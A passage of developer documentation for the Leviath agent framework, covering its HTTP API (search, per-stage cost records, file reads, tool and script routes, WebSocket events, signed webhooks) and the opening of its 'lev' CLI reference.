you. Paging is keyset rather than offset, because an offset into a list that is changing skips and repeats items, and does it most often at the head. **`sort=started_at` is the default because it is the only sort key that never changes.** `updated_at` moves on the daemon's 30-second heartbeat, so every live run shifts under a walk; a run whose sort value changes mid-walk can be missed or repeated. To poll for what changed, use `since=` with no cursor rather than deep-paginating. `since=` filters whichever field `sort` names, and is inclusive. Pass the previous response's `server_time` and you may see one item twice, which is the safe direction when the granularity is whole seconds. Two parameters exist so a browser client does not have to make N requests: `ids=a,b,c` fetches exactly those runs, and `fields=run_id,status,title` trims each one. Ids that no longer exist come back in `missing` rather than failing the request. ### Search `q=` is a case-insensitive substring. It is not a regular expression, there are no boolean operators or phrase quoting, and case folding is ASCII-only. `q_in=` chooses where to look, defaulting to `meta,files`: | Source | Looks at | Cost | |---|---|---| | `meta` | title, task, agent name, workdir, run id, error, metadata values | free | | `files` | the paths the run recorded modifying | free | | `context` | the run's current context window | one file read per run | | `logs` | the tail of each stage's logs | two reads per stage per run | | `journal` | the whole run journal: tool calls and context history | one file read per run | The last three read from disk, which is why they are opt-in. Surface them as a "search inside runs" toggle rather than making every keystroke pay for them. They also stop after a bounded number of runs, newest first. When that happens the response says `scan_truncated: true` and sets `total` to null, because a count taken from a partial scan would be read as fact. Matching items carry `highlights` saying *why* they matched: the field, a snippet, and the stage where there is one, which you can pass straight to `/logs?stage=`. This is the part that cannot be done in the browser, because The Lair never holds a run's transcript. One honest limit: the deep sources match the raw JSON on disk, so a query containing a quote, a backslash or a newline may not match text that does contain it. ## Where a run's cost went `GET /api/agents/{id}/stages` returns one record per declared stage, in blueprint order: ```json { "run_id": "analyst-1786409275-d17e8f82", "stages": [ { "name": "plan", "status": "complete", "entered": true, "prompt_tokens": 8420, "completion_tokens": 610, "cached_tokens": 6100, "cache_write_tokens": 240, "region_tokens": { "task": 24, "data_preview": 4004 }, "runaway_warned": false }, { "name": "error_recovery", "status": "skipped", "entered": false }, { "name": "answer", "status": "complete", "entered": true } ] } ``` Three things here are not derivable from any other route. **`entered` says whether the run was ever in that stage.** The alternative is to fetch `context/history` and diff consecutive snapshots to see which stages produced entries. That is expensive, because every point carries a whole context window. It is also wrong in the case that matters: a stage that ran and wrote nothing to any region leaves no trace to find. `status: "skipped"` is the same fact stated from the other side, and means the run finished without reaching this stage, as distinct from `"pending"` on a run that is still going. **The per-stage cost split.** The run-level totals are on the run record; which stage spent them, and the cache read/write split within a stage, are only here. A stage showing no cache reads cannot be told apart from one paying to write a prefix nothing reuses without `cache_write_tokens`. **`region_tokens` is what decides whether a region is earning its place.** It is the largest each region reached while that stage was active. This is the number to look at before trimming a layout. `runaway_warned` is set when a stage's per-call prompt passed four times its first call, which is the shape of a region accumulating without a cap. The list is bounded by the blueprint's stage count, so it is not paginated. A run that has not reached its first stage boundary returns an empty list rather than a 404. The run exists and has nothing to report yet. > [!NOTE] > `entered` is `false` for every stage of a run recorded before Leviath tracked > it, because the field is not in those files at all. Read it together with > `status`: a stage recorded `complete` with tokens against its name ran, > whatever `entered` says on an old run. ## A run's files `GET /api/agents/{id}/files` answers two different questions, and neither substitutes for the other. `source=modified` (the default) is the run's own record of what it changed. It is free, but it is a claim about the run rather than about the disk, and it is capped when recorded, so check `modified_files_truncated`. `source=workdir` reads the filesystem, **one directory level per request**; pass a directory as `path` to descend. That bound is deliberate: a workdir containing `node_modules` cannot be enumerated in one response, so walk it the way a file tree does. > [!WARNING] > `modifying_tool_calls` counts modifying tool *calls*, not files. A run that edits one file three > times records three. Do not subtract it from the entry count to get "how many more files"; > that number is meaningless. Use `modified_files_truncated`, or `source=workdir` for ground truth. With `?path=` the response is the file's contents, unchanged from earlier versions. A listing carries `"kind": "listing"`, so check that field rather than guessing from the shape. ### Reading a file larger than one response One request returns at most 1 MiB. A run's dataset can be far larger than that, so read it a window at a time with `offset`: ```bash curl -H "Authorization: Bearer $TOKEN" \ "http://localhost:3000/api/agents/$RUN/files?path=data/dataset.csv&offset=0" ``` Each response carries `next_offset`. Ask again from there until it comes back `null`, and concatenate the windows to get the file back exactly. An offset landing inside a multi-byte character is moved forward to the next boundary, and `offset` in the response says where the window actually began. That is what keeps the pieces lining up. An offset past the end of the file returns 416 rather than an empty window, so a loop cannot spin. A whole-file read serializes exactly as it always has. `offset` is omitted when it is zero. ## Tools and scripts `GET /api/tools` answers what an agent on **this** machine can call, which is not a question a client can answer for itself. Every entry carries a `source`: | `source` | Means | |---|---| | `builtin` | Compiled into this Leviath. Every agent has it | | `subagent` | A sub-agent tool, for an agent that may spawn children | | `agent` | A `.rhai` in that agent's own `tools/`. Only that agent has it | | `global` | A `.rhai` in `~/.leviath/tools/`. Every agent on the machine has it | Pass `?agent=` to include the fourth. Script-backed entries also carry the `path` they came from. A separate `skipped` list carries the `.rhai` files that were found and cannot be offered, with the reason each was passed over, so a file with a syntax error does not simply look like a file nobody wrote. MCP tools are not here: they depend on a server being reachable rather than on anything installed, and `/api/mcp/servers/{name}` already answers for them. `GET /api/scripts` is the same ground from the editor's side, over the four kinds of Rhai an agent can carry: `tool`, `region_hook`, `stage_hook` and `output_validator`. Only tools have a directory of their own (`/tools/`, plus the global one); the other three are named by path in the manifest and resolved against the agent's own directory, so the listing derives them from what the manifest declares and the read and write routes address them at `/.rhai`. A hook a manifest declares inside a subdirectory is outside what `{name}` can address, and is left out rather than listed under a name that would fetch nothing. `GET/PUT/DELETE /api/scripts/{kind}/{name}` reads and writes one file, scoped by `?agent=` or, with no `agent`, the global tools directory. `POST /api/scripts/validate` takes `kind` and `content` and compiles without writing, so an editor can check before saving instead of saving and waiting for a run to fail. > [!WARNING] > `PUT` and `DELETE` are **not mounted at all** without `lev serve --allow-admin`, exactly like the > MCP add/remove routes and `PUT /api/config`. A `.rhai` file is executable code every agent then > runs, so a session that can write one can run code on the host. The `GET` routes stay open, so an > editor degrades to read-only rather than disappearing. A write that does not compile is still saved, with `compiles: false` and the compiler's complaint in the response. A draft is worth keeping, and a tool that does not compile is skipped at spawn rather than breaking the agent. ## Feature detection `GET /api/config` reports `api_version`, a `capabilities` list, and the server's `limits`. Check those instead of calling a route and treating a 404 as "unsupported": a 404 also means "no such run", and it costs a round trip per feature. The limits matter as much as the capability names: they are where the page cap, file cap and listing cap actually live, so a client never has to hardcode one. ## Live updates over WebSocket Connect to `/ws` (all agents) or `/ws/agents/{id}` (one run) with `?token=`; the server streams `ServerEvent` frames as the run progresses: ```mermaid sequenceDiagram participant Browser participant Serve as lev serve Browser->>Serve: GET /ws/agents/{id}?token=… Serve-->>Browser: 101 Switching Protocols loop while the run is live Serve-->>Browser: {stage changed} Serve-->>Browser: {tokens updated} Serve-->>Browser: {awaiting input} end Serve-->>Browser: {done} ``` ## Asking for a shape Add `output_format` to ask for the answer in a particular shape. Any label works, because nothing converts between shapes: the label reaches the model, which produces the bytes. ```bash curl -X POST http://localhost:3000/api/agents \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"blueprint":"reviewer","task":"Review the auth module", "output_format":"a2ui", "output_instructions":"One card per finding, highest severity first."}' ``` Then read it back from `GET /api/agents/{id}/result`, where `final_output` carries the answer, its format label, and the stage that produced it. Add `output_schema` when you want the answer validated against a JSON Schema. [Final outputs](/docs/outputs) covers the whole cascade. ## Spawning with a signed webhook ```bash curl -X POST http://localhost:3000/api/agents \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"blueprint":"coder","task":"Add input validation", "callback_url":"https://example.com/hook","callback_secret":"whsec_…"}' ``` Four things to know about the delivery. **It carries the answer.** `final_output` holds whatever the agent submitted, so your receiver learns what the run concluded without a second request. The `result` field beside it is the run's error, which is what it has always been. See [Final outputs](/docs/outputs). **It is signed.** Verify the `X-Leviath-Signature: sha256=` header against your `callback_secret` before trusting the body. **It carries a stable `delivery_id`**, of the form `agent_completed:`, in both the signed body and the `X-Leviath-Delivery` header. Stable is the important word: a retried attempt, and a completion re-fired after a daemon restart, both send the same id. So your receiver can deduplicate with a plain key check and handle each completion exactly once. **It retries on transient failures**, meaning network errors, timeouts, 5xx, 429, and 408, with exponential backoff. Every field below has a safe default, so you can leave the block out entirely: ```toml [webhook] max_retries = 3 # retries after the first attempt; 0 disables retries base_delay_ms = 500 # first backoff; doubles per retry max_delay_ms = 30000 # cap on any single backoff timeout_secs = 10 # per-attempt request timeout ``` > [!TIP] > [The Lair](https://leviath.dev/lair) is a full reference client for this API (connection, spawn, live > dashboard, blueprint editing, MCP and policy management), built on the same typed endpoints. ======================================================================== # CLI reference Source: https://leviath.dev/docs/stable/cli # CLI reference (`lev`) Everything Leviath does is one binary, `lev`. This page lists every command and its flags. `lev --help` prints the same thing at the terminal. If a command is not doing what you expect, [Troubleshooting](/docs/troubleshooting) is organised by symptom, and `lev doctor` checks the usual causes for you. `-v` / `--verbose` is global and works on every subcommand. Scripting against the CLI? `--json` is on `run`, `ps`, `doctor`, `validate`, `list`, `models list`, `context`, `result`, `respond`, `stages`, `tools`, `approvals safe`, and `mcp list`. Everything else prints for a person. Warnings go to stderr, so stdout parses on its own. A service that would rather speak HTTP should use [`lev serve`](/docs/api) instead. Most commands talk to the [shared-world daemon](/docs/daemon). `lev run`, `lev dash`, `lev serve`, and `lev agent-client` start one automatically if none is running, and restart it if it is running an older build. ## Running agents ### `lev run [PATH]` Spawn an agent into the daemon. `PATH` is an installed agent name, a blueprint directory, or an `agent.leviath` file. Omitted, the current directory is used. | Flag | Purpose | |---|---| | `-t`, `--task ` | The task prompt, or the path of a file holding it. Left off, your editor opens | | `-m`, `--model ` | Model override, as `provider/model` or a bare model name | | `--workdir ` | Working directory for the run, defaulting to where you ran the command. See below | | `--yolo` | Run unattended. See below | | `--allow ` | Allow one tool outright. Repeatable | | `--max-depth ` | Override the blueprint's maximum sub-agent tree depth | | `--no-seed-commands` | Refuse the blueprint's `seed = { command = "..." }` regions for this run | | `--count ` | Start this many runs of the same agent and task, each under its own run id, from one invocation | | `--json` | Print the spawned run as JSON rather than a sentence. See below | | `--output-format